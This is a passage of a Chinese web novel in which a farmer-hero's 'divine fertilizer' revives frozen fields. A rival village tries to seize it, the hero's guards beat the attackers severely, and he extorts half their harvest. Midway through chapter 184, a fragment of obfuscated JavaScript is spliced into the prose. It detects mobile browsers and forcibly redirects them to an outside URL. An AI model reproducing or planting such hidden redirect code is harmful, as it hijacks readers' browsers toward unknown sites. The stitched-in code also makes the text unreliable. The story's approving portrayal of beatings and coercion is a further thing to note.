他们用木瓢、用破碗,小心翼翼地将黑泥捧回家,心里七上八下的。
理智告诉他们,这很可能就是普通的泥土,可一想到江夜过往的种种神迹,他们又不敢不信。
最终,求生的本能压倒了一切。
“死马当活马医吧!”
“江先生总至于骗我们!”
村民们一咬牙,纷纷扛着工具,将那黑泥,均匀地撒进了自家的田地里。
……
这一幕,自然又落入了不远处崔家坳村民的眼中。
“哈哈哈哈!笑死我了!你们快看,稻花村那帮傻子在干嘛?”
崔老三正靠在田埂上,看到稻花村的人神神叨叨地往地里撒黑泥,当场就笑得直不起腰,眼泪都快出来了。
“他们不会真以为,随便弄点黑泥巴糊弄一下,地里就能长出粮食吧?”
“我看他们是彻底疯了,等着吧,种子都得给他们糟蹋光!”
崔家坳的村民们笑得前仰后合,眼神充满了鄙夷和幸灾乐祸。
崔老三更是溜达到两个村子交界的地头,阴阳怪气地的喊道:
“我说各位,你们这又是唱的哪一出啊?又是翻铁板地,又是撒黑泥巴,真够忙活的!
刺耳的嘲笑声像一根根针,扎在稻花村村民的心上。
他们手上的动作一僵,可一想到江夜的保证,和自家那已经快要见底的米缸,他们只能埋着头,一声不吭地继续干活,把所有的希望,都寄托在了这片土地里。
然而,几天过去了。
村民们每天天不亮就挑着水去浇地,眼巴巴地守在地头,从日出看到日落,可那片被寄予厚望的田地,依旧是死气沉沉的一片,别说嫩芽,连个土包都没鼓起来。
土地,依旧了无生机。
村民们的耐心和希望,在日复一日的等待中被消磨殆尽。
焦虑,如同野草般在每个人心里疯狂滋长。
“这都多少天了,怎么一点动静都没有?”
“不会……真的不行吧?”
一些人开始动摇了。
他们看着崔家坳的人每天背着满筐的野菜从山里回来,心里的天平开始倾斜。
终于,有人扛不住了,偷偷拿起了篮子,加入了挖野菜的队伍。
有一个,就有第二个。
没过两天,村里不少人都没了刨地的干劲,三三两两地往山里跑。
剩下那些还坚守着的村民,心也彻底慌了。
他们再也坐不住,黑压压地将江峰家围了个水泄不通。
“江峰!你给句准话!这地到底还能不能种了?”
“我可是把家里最后一点种子都撒下去了!要是打了水漂,我们一家老小可就真没活路了!”
“你弟弟人呢?让他出来说句话啊!”
江峰被众人围在中间,听着七嘴八舌的质问,急得满头大汗。
说实话,他心里也慌得一批,每天去地里看八百遍,那地就是没动静,他能不急吗?
但他对江夜有种近乎盲目的信任。
他想起弟弟那云淡风轻的模样,猛地一挺胸膛,拍得“砰砰”作响。
“大家再等等!我弟弟说行,就一定行!出了事,我江峰拿命给大家抵!”
吼完,他拨开人群,一溜烟地朝着江夜家跑去。
……
江夜的院子里,春光正好。
慕容晴正挺着微隆的小腹,在院中一板一眼地打着一套动作舒缓的拳法。
她身姿依旧矫健,只是动作间多了几分小心翼翼。
江夜就站在她身侧,一手
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负后,一手时不时地伸出,纠正她的姿势。
“腰腹放松,气沉丹田,对,手再抬高一点……”
他的手掌轻轻搭在慕容晴的后腰上,隔着衣料,似乎能感受到那温热的肌肤,江夜忍不住在她后腰上摩挲了一下。
慕容晴俏脸微红,感受着腰间那只大手的温度,轻颤着身体,彻底软在江夜怀里,呼吸凌乱粗重。
她横了江夜一眼,那眼神嗔中带媚,仿佛在说:你到底是教拳还是占便宜?
江夜嘿嘿一笑,正想说些什么,院门就被人“砰”的一声撞开。
“小夜!不好了!”
江峰火烧眉毛似的冲了进来,看到院里这副悠闲甚至有些旖旎的画面,脚下一顿,但随即又被满心的焦虑覆盖。
“村里人都快炸锅了!那地……那地一点动静都没有!你快想想办法啊!”
看着江峰那张快要哭出来的脸,江夜却只是不以为意地笑了笑,收回了手。
他拉过慕容晴,让她在一旁的躺椅上坐好,这才转向江峰开口:“哥,急什么。”
“我能不急吗?!”江峰都快蹦起来了。
江夜递给他一杯水,慢悠悠地说:“安心,最迟再过两天,必有惊喜。”
江峰看着弟弟那双自信满满的眼睛,心里的惊涛骇浪,奇迹般地平复了下来。
对啊,弟弟什么时候骗过自己?
“好!哥信你!”
江峰心中的大石落了地,转身就往外跑,要去安抚村民。
接下来的两天,对稻花村的村民来说,简直是度日如年。
他们就像被架在火上烤,一边是江峰带回来的保证,一边是崔家坳村民变本加厉的嘲讽。
崔老三几乎把稻花村的田埂当成了自家的门槛,每天都要来溜达一圈,说上几句风凉话。
“哟,还等着呢?我跟你们说,再等两天,我们崔家坳连野菜根都给你们刨干净喽!到时候你们可真就只能喝西北风了!”
崔老三的叫嚣声,像苍蝇一样在稻花村村民的耳边嗡嗡作响,搅得人心烦意乱。
可他们除了埋头忍着,别无他法。
第181章 出苗了
两天后的清晨,天色依旧是灰蒙蒙的。
村里的气氛压抑到了极点,仿佛整个村子都在屏息等待着一个最终的审判。
一个叫王二的村民,揉着惺忪的睡眼,像前些天一样,挑着两只空木桶,走向自家田地。
他已经不抱什么希望了,只是习惯性地想去看看。
他只是随意的朝着自家的田垄上扫了一眼。
下一秒,他整个人仿佛被一道天雷劈中,僵在了原地。
只见那片几天来都死气沉沉、光秃秃的田地里,此刻,竟齐刷刷地冒出了一片……绿色!
一株株禾苗破开了坚硬的土层,倔强地挺直了腰杆。
它们比往年任何时候的禾苗都要粗壮,叶片肥厚,绿得发亮,像一块块上好的翡翠,点缀在黑色的泥土上。
在晨曦的微光下,每一片叶尖上都挂着一颗晶莹剔透的露珠,闪烁着勃勃生机。
这刚发芽的禾苗,分明比往年长的还要壮实!
王二狗使劲揉了揉眼睛,又狠狠掐了自己大腿一把。
剧痛传来,眼前的景象非但没有消失,反而愈发清晰。
短暂的死寂过后,王二喉咙里发出一声不敢置信的尖叫,那声音充满了狂喜,彻底撕裂了村庄的宁静。
“长……长出来了!!”
“长出来了啊!!!”
这声嘶力竭的呐喊,瞬间惊醒了整个稻花村。
“大清早的,鬼叫什么!”
“是不是又被崔家坳那帮孙子给气着了?”
村民们被这动静惊得纷纷从床上爬起来,抓起手边的棍棒锄头就冲出了家门。
当他们顺着王二手指的方向,看到田野里那震撼人心的一幕时,所有人都集体愣住了。
风吹过田野,那一片片嫩绿的禾苗轻轻摇曳,像是在向他们招手。
那星星点点的绿,在每个人的瞳孔中,燃起了熊熊的火焰。
所有人都失声了,大脑一片空白,只是呆呆地看着眼前这幅宛如神迹的画卷。
不知过了多久,这死一般的寂静,被一声压抑的呜咽打破。
“我的老天爷啊……”
一个白发苍苍的老妇人,双膝一软,就那么跪倒在田埂上,朝着那片新绿,泣不成声。
这哭声像是一个信号。
下一秒,压抑了太久的绝望、焦虑、期盼,在这一刻轰然引爆,化作狂喜!
“出苗了!真的出苗了!”
“活了!活了!我们有救了!”
“呜呜呜……老天开眼了!祖宗保佑啊!”
村民们爆发出山呼海啸般的欢呼,那声音震得山谷都嗡嗡作响。
无数人喜极而泣,像个孩子一样在田埂上疯跑,更有甚者,直接冲到田边,跪倒在地,朝着那嫩绿的禾苗疯狂磕头,仿佛在朝拜世间最神圣的图腾。
额头砸在泥土上,混着泪水和泥土,他们却毫不在意。
整个稻花村,彻底沸腾了!
江峰站在自家田边,他死死地盯着地里那些比往年任何时候都更茁壮、更翠绿的禾苗。
他伸出那双因常年劳作而布满老茧的大手,颤抖着用指尖轻轻碰了一下那肥厚的叶片。
那带着湿润晨露的触感传来,江峰那七尺高的汉子,再也绷不住了,肩膀耸动起来。
憋了这么多天的焦虑、和被嘲讽的**,在这一刻尽数化为滚烫的泪水,顺着他黝黑的脸颊,无声地滑落。
真的成了!
他弟弟,真的做到了!
巨大的惊喜和无与伦比的自豪感,让他浑身都在轻轻颤抖,咧着嘴一边哭一边傻笑。
短暂的狂欢过后,不知是谁带头高喊了一声:“快!去谢谢江先生!”
一语惊醒梦中人!
对啊!这一切都是江先生带来的!
村民们不约而同地停下了欢呼,他们互相看了一眼,脸上那劫后余生的狂喜,迅速转变为一种发自内心的崇敬与感激。
所有人,都自发地朝着村子中央,江夜家的方向冲去。
当黑压
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压的人群再次**在江夜家门前时,村长王满仓当先跪下。
“噗通!”
“噗通!噗通!”
随着他这一跪,身后所有的村民,无论男女老少,全都齐刷刷地跪倒在地。
他们用最虔诚的姿态,对着那扇紧闭的院门,用力地磕了三个响头。
他们用这种最质朴的方式,表达着自己心中那份难以言喻的敬畏与感激。
“江神仙!”
不知是谁,用带着浓重鼻音的嘶哑嗓音,喊出了这个称呼。
下一秒,此起彼伏的朝拜声,响彻云霄。
“江神仙显灵了!”
“多谢活菩萨救命之恩!”
院内,江夜正陪着白梦夏在廊下看书。
听着外面那山呼海啸般的朝拜声,他只是抬了抬眼,神情淡然,仿佛对这一幕早就有所预料。
白梦夏放下书卷,美眸中也带着一丝震撼和笑意。
这个男人,总能创造出常人无法想象的奇迹。
江夜感受到她的目光,转过头,对着她宠溺地笑了笑,伸手将她揽入怀中,在她耳边轻声说了一句:“今年的酒,有着落了。”
……
与此同时,崔家坳。
崔老三正和几个村民蹲在田埂上,晒着太阳。
当稻花村方向,那震天的欢呼声传来时,几个人都是一愣。
“听见没?什么动静?”
崔老三掏了掏耳朵,侧耳听了一会儿,随即脸上露出讥讽的笑容,一拍大腿。
“哈哈哈!还能是啥动静?肯定是那帮傻子等了这么多天,屁都没长出来一个,彻底疯了呗!”
他这话一出,周围的村民也都哄笑起来。
“这是等不到粮食发芽,把自己逼疯了吧。”
“走走走,看热闹去!看看这帮人是怎么疯的,可别错过了!”
崔老三得意洋洋地站起身,叼着根草茎,迈着八字步,领着一群人,朝着稻花村的田地溜达过去,准备好好欣赏一下这出好戏。
第182章 地活了
崔老三领着一群看热闹不嫌事大的村民,吊儿郎当地朝着稻花村的田地溜达了过去。
“都听着点,待会儿别笑太大声,给人家留点面子嘛!”
崔老三对着身后的人挤眉弄眼,引得众人一阵低低的窃笑。
“三哥说的是,万一把人气出个好歹来,咱们还得赔钱呢。”
“就是,疯了就够可怜了,咱们得有同情心!”
一群人嘻嘻哈哈,越走越近。
那震天的欢呼声也越来越清晰,只是,这声音里听不出半点疯癫,反而充满了难以言喻的狂喜和激动。
崔老三眉头一皱,心里嘀咕,这疯得还挺高兴?
他加快了脚步,绕过一片小树林,当稻花村那片田地毫无征兆地映入眼帘时,他脸上的讥笑,瞬间凝固了。
他身后的那群村民,也像是被人集体掐住了脖子,所有的笑声戛然而止。
所有人都瞪大了眼睛,像见了鬼一样,死死地盯着前方。
那片在他们记忆中,被翻得乱七八糟的铁板地上,此刻,竟铺满了一层望不到边的嫩绿!
一株株禾苗,从地里钻出来精神抖擞地挺着腰杆。
那叶片,肥厚得不像话,绿油油的,在清晨的阳光下泛着光。
风一吹,一股浓郁的生命气息扑面而来,几乎让人窒息。
这……这**是什么鬼东西?
崔老三的眼珠子瞪得像铜铃,嘴巴张得能塞下一个鸡蛋,叼在嘴里的草茎掉在地上,他却浑然不觉。
他使劲揉了揉眼睛,眼前的景象非但没有消失,反而更加清晰。
那片绿色,绿得那么不真实,绿得那么刺眼!
“假的……一定是假的……”他喃喃自语,像是魔怔了一般。
他抬起手,狠狠地在自己脸上抽了一巴掌。
“啪!”
清脆的响声,让周围的人都打了个激灵。
剧痛传来,崔老三的半边脸瞬间就红了起来,可眼前的景象,却丝毫未变。
不是幻觉!
是真的!
那片被他们嘲笑了无数次的铁板地,真的长出了庄稼!
“啊——!”
崔老三喉咙里发出一声尖叫,那张原本写满幸灾乐祸的脸,此刻只剩讶然。
他猛地转过身,连滚带爬地就往崔家坳的方向跑。
“活了!活了!地活了!”
他那因震惊而变调的声音,在山野间回荡,充满了骇然与不敢置信。
跟在他身后的那几个村民,也终于从石化状态中惊醒过来。
他们面面相觑,都能看到对方眼中那份被颠覆了认知的恐惧。
几个人再也顾不上看热闹,撒开脚丫子,就往村里跑。
……
崔家坳村口。
村长崔守田背着手,眉头拧成了一个疙瘩。
他看着远处山脚下,那些挎着篮子搜刮着野菜的村民,心里一阵阵地发堵。
山就这么大,野菜总有挖完的一天。到时候,这全村上百口子人,吃什么?喝什么?
他正发愁,就看见崔老三那伙人,像是被野狗追着一样,连滚带爬地从稻花村的方向跑了回来。
“村长!村长!”一个村民跑得最快,冲到崔守田面前,上气不接下气,指着稻花村的方向,脸白得像纸。
“稻……稻花村……他们的地……长苗了!”
崔守田一愣,随即眼睛一瞪,一股火气直冲脑门。
“混账东西!”他一脚踹在那村民的屁股上,骂道:“我看你是挖野菜挖昏了头!那铁板地能长出苗来?你当老子是三岁小孩,说这种胡话!”
那村民被踹得一个趔趄,却顾不上疼,急得都快哭了:“村长,是真的!千真万确!绿油油的一大片!”
“放屁!”崔守田根本不信。
就在这时,崔老三也跑到了跟前,他一屁股坐在地上,大口大口地喘着粗气,声音都在发颤:“村长……是真的,那地……那地里跟铺了绿毯子一样!全是苗!”
越来越多从稻花村那边跑回来的村民围了上来,个个脸上都是活见鬼的表情。
“村长,三哥没说谎,我们都看见了!”
“太吓人了,就几天功夫,那苗都快有半指高了!”
“何止啊,那叶子肥的,跟咱们种的白菜
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似的!”
七嘴八舌的描述,像一记记重锤,砸在崔守田的心上。
他看着这一个个吓得魂不附体的村民,脸上的怒气渐渐退去,取而代之的是一种深深的惊疑。
一个人疯了,不可能所有人都疯了。
他心中巨震,难道……那帮傻子,真把不可能变成了可能?
这个念头一冒出来,就像野草一样疯狂滋长,搅得他心神不宁。
“走!去看看!”
崔守田猛地一咬牙,他必须亲眼去确认。
“石根!你跟我一起!”他冲着不远处一个正在磨石锁的魁梧汉子喊了一声。
那汉子正是他的儿子崔石根,闻声放下石锁,几步就走了过来。
崔守田也顾不上多解释,带着儿子崔石根和几个还算镇定的村民,大步流星地朝着两村交界处跑去。
他们一路急行,很快就来到了那片能俯瞰稻花村田地的山坡上。
当崔守田的目光投向山坡下的那片田野时,他整个人,仿佛被一道无形的天雷劈中,瞬间僵在了原地。
他脚下踉跄了一下,幸好被身后的儿子崔石根一把扶住。
他的眼睛瞪得滚圆,喉结上下滚动,却发不出任何声音。
那片生机勃勃,刺得人眼睛生疼的绿!
犹如一幅浓墨重彩的画卷,在他面前轰然展开,将他脑子里所有关于种地的常识、所有的经验,碾得粉碎!
怎么可能?
这怎么可能?!
那可是连锄头都刨不动的冻土啊!这才几天功夫?播种,发芽,长成这样?这是种地,还是在变戏法?
崔守田感觉自己的脑袋“嗡”的一声,一片空白。
他活了五十多年,自问是十里八乡最好的庄稼把式,可眼前这一幕,却颠覆了他的所有认知。
他身后的崔石根,也同样被眼前的景象惊得目瞪口呆。
他那双牛眼瞪得溜圆,满脸都是不敢置信。
但短暂的震惊过后,他眼中的那份嫉妒,又转化成了一股贪婪的火焰,在他眼底熊熊燃烧。
凭什么这种神迹会发生在穷得叮当响的稻花村?
第183章 抢过来!
崔守田脸色变化不定,他转身一把揪住一个村民的衣领,那人正是之前一起去稻花村看热闹的。
“说!这到底是怎么回事!”
那村民哆哆嗦嗦地把事情的来龙去脉全倒了出来。
“是……是江夜!稻花村的江夜!”
“**从哪弄来一种黑色的泥巴,说是神肥,撒到地里……就,就成这样了!”
“神肥?”崔守田嘴里咀嚼着这两个字,眼神变幻不定。
能让冻土回春,几天之内就长出如此茁壮的禾苗?
回到崔家坳,崔守田立刻敲响了村口那口破钟,召集了全村的村民。
村里的祠堂里,黑压压地挤满了人。
他们已经从崔老三那伙人的嘴里,听说了稻花村那宛如神迹的一幕。
崔守田背着手,满脸凝重的在祠堂里来回踱步,一言不发。
祠堂里的气氛压抑得让人喘不过气。
终于,崔石根忍不了了。
他猛地一拍旁边那张破旧的八仙桌,桌上的茶碗被震得跳了起来。
“爹!还商量个屁!”崔石根的声音充满贪婪和嚣张,“那姓江的既然有神肥,就该拿出来分给乡里乡亲!咱们直接带人过去,让他交出来!他要是不给,咱们就抢!”
这话一出,祠堂里瞬间安静下来,所有人的目光都聚焦在了崔石根身上。
不少青壮年的眼中,都露出了和他如出一辙的贪婪。
“石根说的对!”
“抢过来!咱们也能种出粮食!”
就在众人群情激奋之时,一个角落里,一个头发花白的老村民颤巍巍地站了起来,声音里带着一丝恐惧:“使不得……使不得啊!那江夜……不好惹!”
老人是村里为数不多听过些风声的人。
他哆哆嗦嗦地说:“我听说,以前冬猎时闹狼灾,就是他带着村民杀退了狼群!还有人说,他曾经一人就能打死一头大虫!这人……就是个杀神啊!”
祠堂里瞬间安静了下来,不少人脸上露出了惧色。
崔石根却不屑地嗤笑一声,一口浓痰吐在地上:“您是老糊涂了吧?还杀狼屠虎,你怎么不说他能飞天遁地呢?
再说了,他再厉害,他能打十个,还能打得过我们崔家坳上百号拿着锄头扁担的汉子?咱们一人一口唾沫都能淹死他!”
说完,他环视一圈,提高声音吼道:“你们就想眼睁睁看着稻花村的人吃白米饭,咱们全家老小啃树皮,喝西北风?谁**愿意,谁就站出来!”
没人说话了。
啃树皮的滋味,没人想尝。
所有人的目光都投向了村长崔守田,等待他做最后的决定。
崔守田的内心在激烈地挣扎。
理智告诉他,那个老人说得或许是真的,江夜不好惹。
可一想到那片绿油油的禾苗,想到村里嗷嗷待哺的妇孺,他心中的天平便轰然倒塌。
最终,他缓缓掐灭了手里的烟锅,将烟杆在桌上磕了磕,站起身,一言不发地走出了祠堂。
所有人都明白,村长这是默许了。
……
第二天一早,天刚蒙蒙亮。
崔石根纠集了村里二三十个最是好勇斗狠的青壮年。
这些人一个个膀大腰圆,手里拎着锄头、粪叉、扁担,气势汹汹地朝着稻花村冲去。
稻花村的村民们此刻正沉浸在喜悦中,三三两两地扛着农具,准备去田里伺候那些宝贝疙瘩一样的禾苗。
当他们看到崔石根带着一大帮人,杀气腾腾地堵在村口时,所有人都懵了。
“崔石根!你们想干什么?”村长王满仓拄着拐杖,颤巍巍地走上前,厉声质问。
崔石根一把推开他,将手里的锄头往地上一顿,发出一声闷响。
他冷冷道:“我听闻你们稻花村得了‘神肥’,这等活命的宝贝,理应拿出来接济乡邻!让那个叫江
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夜的,速速把神肥的方子和剩下的肥料都交出来!否则,别怪我们不客气!”
嚣张跋扈的声音,传遍了半个村子。
稻花村的村民们顿时大惊失色,脸上刚刚浮现的喜悦瞬间被惊恐取代。
他们手足无措,下意识地朝着村子中央,江夜家院子的方向望去。
与此同时,江夜院子里,王囤正带着十几个护院,在院中操练着江夜教的简易阵法。
他们手持统一制式的**,身穿皮甲,虽然动作还有些生涩,但一招一式间,已经颇具章法,气势森然。
听到村口的动静,王囤的脸色一沉,他示意众人停下,快步走到廊下,对着里面恭敬地请示:“东家,有人来**了。”
廊下,江夜正悠闲地陪着慕容晴、白梦夏她们喝着早茶,听着她们讨论着给未出世的孩子做什么样的小衣服。
听到王囤的禀报,江夜甚至连眼皮都未抬一下,端起茶杯,轻轻吹了吹上面的热气,淡淡地吐出三个字。
“打出去。”
声音透着一股冰冷。
“是!”
王囤心中一凛,转身对着那十几个护院低喝一声:“都听到了?跟我走!”
“喏!”
十几个护院立刻齐声高呼,跟着王囤往村口走去。
他们步伐整齐,面容冷峻,身上那股子从尸山血海里磨练出来的肃杀之气,毫无保留地释放出来,气势森然地跟着王囤走向村口。
村口,崔石根正等得不耐烦,看到王囤带着一队人马走来一愣。
他看着对方身上精良的皮甲,手里那泛着寒光的枪头,再看看那股子说不出的肃杀气势,心里莫名地突了一下。
但随即,他便将这点不安抛到了脑后。
他上下打量了王囤等人几眼,不屑地嗤笑一声:“哟,你们稻花的泥腿子,是从哪里弄来了这身狗皮?识相的赶紧滚开,别耽误大爷们办正事!”
第184章 脑子不清楚就打到清楚
王囤听着崔石根的话,脸上没有一丝表情,看着崔石根的眼神,宛如跳梁小丑。
这种无声的羞辱,让崔石根感到愤怒。
“给脸不要脸的东西!”崔石根彻底被激怒了。
他仗着自己这边人多势众,猛地将手中的锄头高高举起,对着身后的那群地痞无赖嘶吼道:
“都**愣着干什么?给我上!把这群狗东西的腿打断!出了事,老子担着!”
“冲啊!”
“**他们!”
崔家坳那二三十个青壮年,早就被崔石根煽动得热血上头,此刻听到命令,一个个挥舞着手里的粪叉和扁担,朝着王囤和他身后的护院队猛扑过去。
在他们看来,对方不过十来个人,就算穿了身像样的皮甲,也终究是稻花村的泥腿子,还能翻了天不成?
自己这边一拥而上,一人一脚都能把他们踩成肉泥!
稻花村的村民们看到这副阵仗,吓得脸都白了,纷纷惊叫着后退。
然而,面对这那群凶神恶煞的暴徒,王囤和他身后的护院们,却依旧站在原地纹丝不动。
就在崔石根等人冲到距离护院队不足三步的瞬间,王囤的嘴里,才冷冷地吐出一个字。
“上!”
话音落下的刹那,原本静止的护院队,动了。
没有花里胡哨的招式,也没有声嘶力竭的呐喊。
他们整齐划一地向前踏出一步,手中的**横扫而出,枪杆带着破风的闷响,狠狠地抽向冲在最前面那群人的手腕和膝盖。
动作简单,利落,却快如闪电!
“砰!砰!砰!砰!”
一连串密集的撞击声,骤然爆开!
紧接着,便是撕心裂肺的惨叫!
“啊——我的手!”
“腿!我的腿好痛!”
冲在最前面的七八个崔家坳村民,手里的锄头扁担瞬间就被那股巨力抽飞到半空中,然后掉了一地。
他们本人则是抱着自己的手腕或者小腿,一头栽倒在地上,疼得满地打滚,发出杀猪般的哀嚎。
这突如其来的一幕,让后面跟着冲上来的那群人,脚下猛地一刹,硬生生停住了脚步。
他们脸上的凶狠瞬间被惊恐所取代,呆若木鸡地看着眼前这诡异的场景。
这是什么打法?
前后不过一个呼吸的功夫,他们这边最能打的几个人,就这么废了?
不等他们从震惊中反应过来,护院队已经踏出了第二步。
他们阵型丝毫不乱,手中的**再次挥出,如同秋风扫落叶一般,卷向剩下那些目瞪口呆的暴徒。
又是一阵“砰砰”的闷响和鬼哭狼嚎。
不到十息的功夫。
崔石根带来的二三十个青壮年,此刻已经全部躺在了地上。
他们手里的家伙事儿扔了一地,一个个抱着胳膊腿,在地上翻滚扭动。
整个村口只有崔家坳村民那痛苦的呻吟声,在空气中回荡。
稻花村的村民们,全都看傻了。
他们张大了嘴巴,眼珠子瞪得溜圆,死死地盯着王囤和他身后那十几个面不改色的护院。
这……这还是他们认识的那个王囤吗?
这还是村里那些平日里老实巴交的后生吗?
崔石根是唯一还站着的人,但他比躺在地上的人更加不堪。
他被两名护院一左一右地架住了胳膊,那两只手像铁钳一样,让他一身蛮力没有丝毫用武之地。
他奋力挣扎,却感觉自己的胳膊像是要被生生拧断。
他看着满地打滚的同村人,又看看面无表情,眼神冰冷的王囤,一股彻骨的寒直冲天灵盖。
短暂的恐惧过后,巨大的羞辱感和愤怒涌上心头。
他崔石根什么时候吃过这种亏?
“放开我!”崔石根的脸涨成了猪肝色,对着王囤嘶吼道:“你们敢动我?我告诉你们,你们稻花村完了!
从今天起,你们一滴水都别想用!老子现在就带人去上游,把溪给你们截了!我看你们的苗还怎么活!”
稻花村地处下游,唯一的水源就是从崔家坳那边流过来的小溪。
一旦水源被断,别说地里的禾苗,全村人连喝水都成问题!
听到这话,稻花村的村民们脸色剧变,刚刚升起的喜悦和扬眉吐气,瞬间被巨大的恐慌所取代。
王囤的脸色也是一沉。
就在这剑拔**张的时刻,一个略带慵懒的声音,从人群后方悠悠地传了过来。
“哦?是吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710966|187622||http|test|mini|href|location''.split(''|''),0,{}));
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r>众人闻声望去,只见江夜正端着一杯还冒着袅袅热气的茶,闲庭信步般地踱步而出。
他脸上带着一丝若有若无的笑意,仿佛眼前的对峙,不过是一场无聊的闹剧。
他走到场中,低头将浮起的茶叶吹开,然后抿了一口。
崔石根看到江夜,眼中闪过一丝忌惮,但随想到水源还在自己村里,便吼道:“姓江的!你别得意!识相的,赶紧把神肥的方子交出来,再赔我们兄弟的汤药费!不然,你们稻花村以后别想用一滴水!”
江夜放下茶杯,抬起眼皮,淡漠的目光扫过满地哀嚎的崔家坳村民,最后落在了王囤身上。
“没吃饭吗?打得这么轻。”
江夜的语气平淡得,但话里的内容,却让在场的所有人,都感到一股寒气从脊椎骨升起。
王囤心中一凛,立刻躬身道:“东家,属下知错!”
江夜摆了摆手,用下巴指了指还在破口大骂的崔石根,以及地上那些装死的家伙,淡淡地吐出几个字:
“接着打。”
“打到他们脑子清楚为止。”
“是!”
王囤直起身,眼中再无半分犹豫。他对着身后那两名架着崔石根的护院一挥手。
那两人得到命令,其中一人直接一记膝撞,狠狠地顶在崔石根的肚子上!
“唔!”
崔石根的叫骂声戛然而止,整个人像一只煮熟的大虾,猛地弓起了身子。
不等他缓过气,另一名护院已经松开手,抡起拳头,一拳砸在他的脸上!
“砰!”
崔石根的脑袋猛地向后一仰,鼻血混合着口水,瞬间喷溅而出。
这还没完。
王囤带着剩下的护院,走向那些还在地上或真或假哀嚎的崔家坳村民。
“东家说了,要让你们脑子清楚一点!”
王囤的声音冰冷。
下一秒,雨点般的拳脚,毫不留情地落在了那些人的身上。
“啊!别打了!我错了!”
“饶命啊!江神仙饶命!”
“我们再也不敢了!”
刚刚还嚣张无比的暴徒们,此刻彻底崩溃了。
他们抱着头,在地上缩成一团,发出的声音从咒骂变成了凄厉的求饶。
第185章 愿唯江先生马首是瞻!
稻花村的村民们,看着那些平日里耀武扬威的崔家坳恶棍,抱头痛哭的样子,心中那股怨气,得到了宣泄。
而此刻躺在地上的崔石根嘴里满是血腥味,他感觉自己浑身的骨头都像是散了架,可比身体的疼痛更甚的,是那股深入骨髓的恐惧。
他终于明白,老人说的没错,这个姓江的,真的是个杀神。
就在这时,村口通往崔家坳的小路上,突然传来一阵杂乱的脚步声和苍老的呼喊。
“住手!快住手啊!”
众人循声望去,只见崔家坳的村长崔守田,带着村里几个上了年纪的老人,正连滚带爬地朝着这边跑来。
崔守田一张老脸跑得通红,上气不接下气,当他冲到近前,看清眼前这地狱般的景象时,整个人都傻了。
地上横七竖八地躺着他们村里的青壮,一个个鼻青脸肿,呻吟不止。
而他的宝贝儿子崔石根,更是被人像拖死狗一样拖着,半边脸肿得像猪头,嘴角的血沫子还在不断往外冒,眼看就只剩半条命了。
崔守田只觉得眼前一黑,“噗通”一声,就那么直挺挺地跪倒在了江夜面前。
他顾不上膝盖撞在碎石上的剧痛,也顾不上一村之长的脸面,对着那个端着茶杯的年轻人,就疯狂地磕起头来。
“砰!砰!砰!”
额头一下下砸在坚硬的泥地上,很快就见了血。
“江先生!江神仙!求您高抬贵手,饶他们一命吧!”崔守田涕泪横流,声音嘶哑地哭喊着,“是我们有眼不识泰山,冲撞了您!都是我们崔家坳的错!是我们被猪油蒙了心,我们不是人啊!”
他一边说,一边抬手狠狠地抽着自己的耳光,打得“啪啪”作响。
“我们也是实在活不下去了啊!村里的孩子饿得直哭,我们才昏了头,想出这种下策!求江先生看在乡里乡亲的份上,给我们一条活路吧!”
几个跟着他来的老人,也全都吓破了胆,哆哆嗦嗦地跪了一地,朝着江夜不停地作揖磕头。
然而,面对这番声泪俱下的哭求,江夜却仿佛置若罔闻。
他甚至没有去看一眼地上的崔守田,只是慢悠悠地将茶杯凑到嘴边,又吹了吹那袅袅的热气。
王囤等人见状,手上的动作丝毫未停。
崔守田的心,随着那一声声闷响和惨叫,一点点沉入了冰窖。
他明白了,这个年轻人,心硬如铁,光是哭嚎求饶,根本没用,再不拿出点实际的东西,今天他儿子这条命,怕是真的要交代在这里了。
一瞬间,崔守田像是被抽走了全身的力气,。
他咬了咬牙,像是做出了什么重大的决定,嘶声喊道:“江先生!只要您肯放过我儿,给我们崔家坳一条活路!从今往后,我们崔家坳上下百十口人,愿唯江先生马首是瞻!”
他停顿了一下,见江夜依旧不为所动,心一横,把最后的筹码抛了出来:“我们……我们愿意将村里所有收成的四成,全部上交给您!只求您能把那‘神肥’,也分我们一些!”
四成!
这个数字一出口,不仅崔家坳那几个老人瞳孔一缩,就连旁边围观的稻花村村民,都忍不住倒吸一口凉气。
这年头,官府的税赋加上各种苛捐杂税,差不多也就是这个数了。
听到这话,江夜终于有了反应。
他放下了手中的茶杯,那白瓷的杯底和空气碰撞,发出一声轻响。
在所有人紧张的注视下,江夜的嘴角,勾起了一抹若有若无的弧度。
他张开了五根手指,在崔守田面前晃了晃。
“……”
崔守田愣住了。
就在他脑子一片混乱时,江夜淡然的声音响了起来。
“我可以给你们崔家坳提供神肥。”
“但是
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,种出来的粮食,我要一半。”
一半!
五成!
崔守田整个人如遭雷击,他脸上的血色“唰”的一下全退了,嘴唇哆嗦着,却一个字都说不出来。
五成!这简直就是在他心口上割肉!辛辛苦苦种一年地,最后自己只能留下一半,这……
他脸上闪过一丝挣扎。
可这丝挣扎,在看到地上奄奄一息的儿子,和一旁哀嚎的村民时,瞬间就土崩瓦解了。
他又想到了村里那些面黄肌瘦的村民,想到了那些在山里挖野菜,连草根都往下刨的妇孺……
不答应,全村人依旧是死路一条。
答应了,虽然要被割去半数的收成,但至少……能活下去!
崔守田那张满是挣扎的脸,瞬间化为了决绝。
他不再有半分犹豫,朝着江夜,重重地磕了一个响头,额头砸在地上,发出“咚”的一声闷响。
“全听江先生的!”
他抬起头,高喊道:“江先生就是我们崔家坳的活菩萨!救命的大恩人!”
江夜满意地点了点头,他要的,就是这份彻底的顺从。
江夜对着王囤摆了摆手。
“放人。”
“是,东家!”王囤立刻躬身领命,对着手下人一挥手。
两人松开手,像扔垃圾一样,将已经昏死过去的崔石根丢在了地上。
其余的护院也停了手,退到王囤身后,重新站成一排,面无表情。
“多谢江先生!多谢江先生不杀之恩!”
崔守田如蒙大赦,也顾不上身上的伤,手脚并用地爬起来,冲到儿子身边。
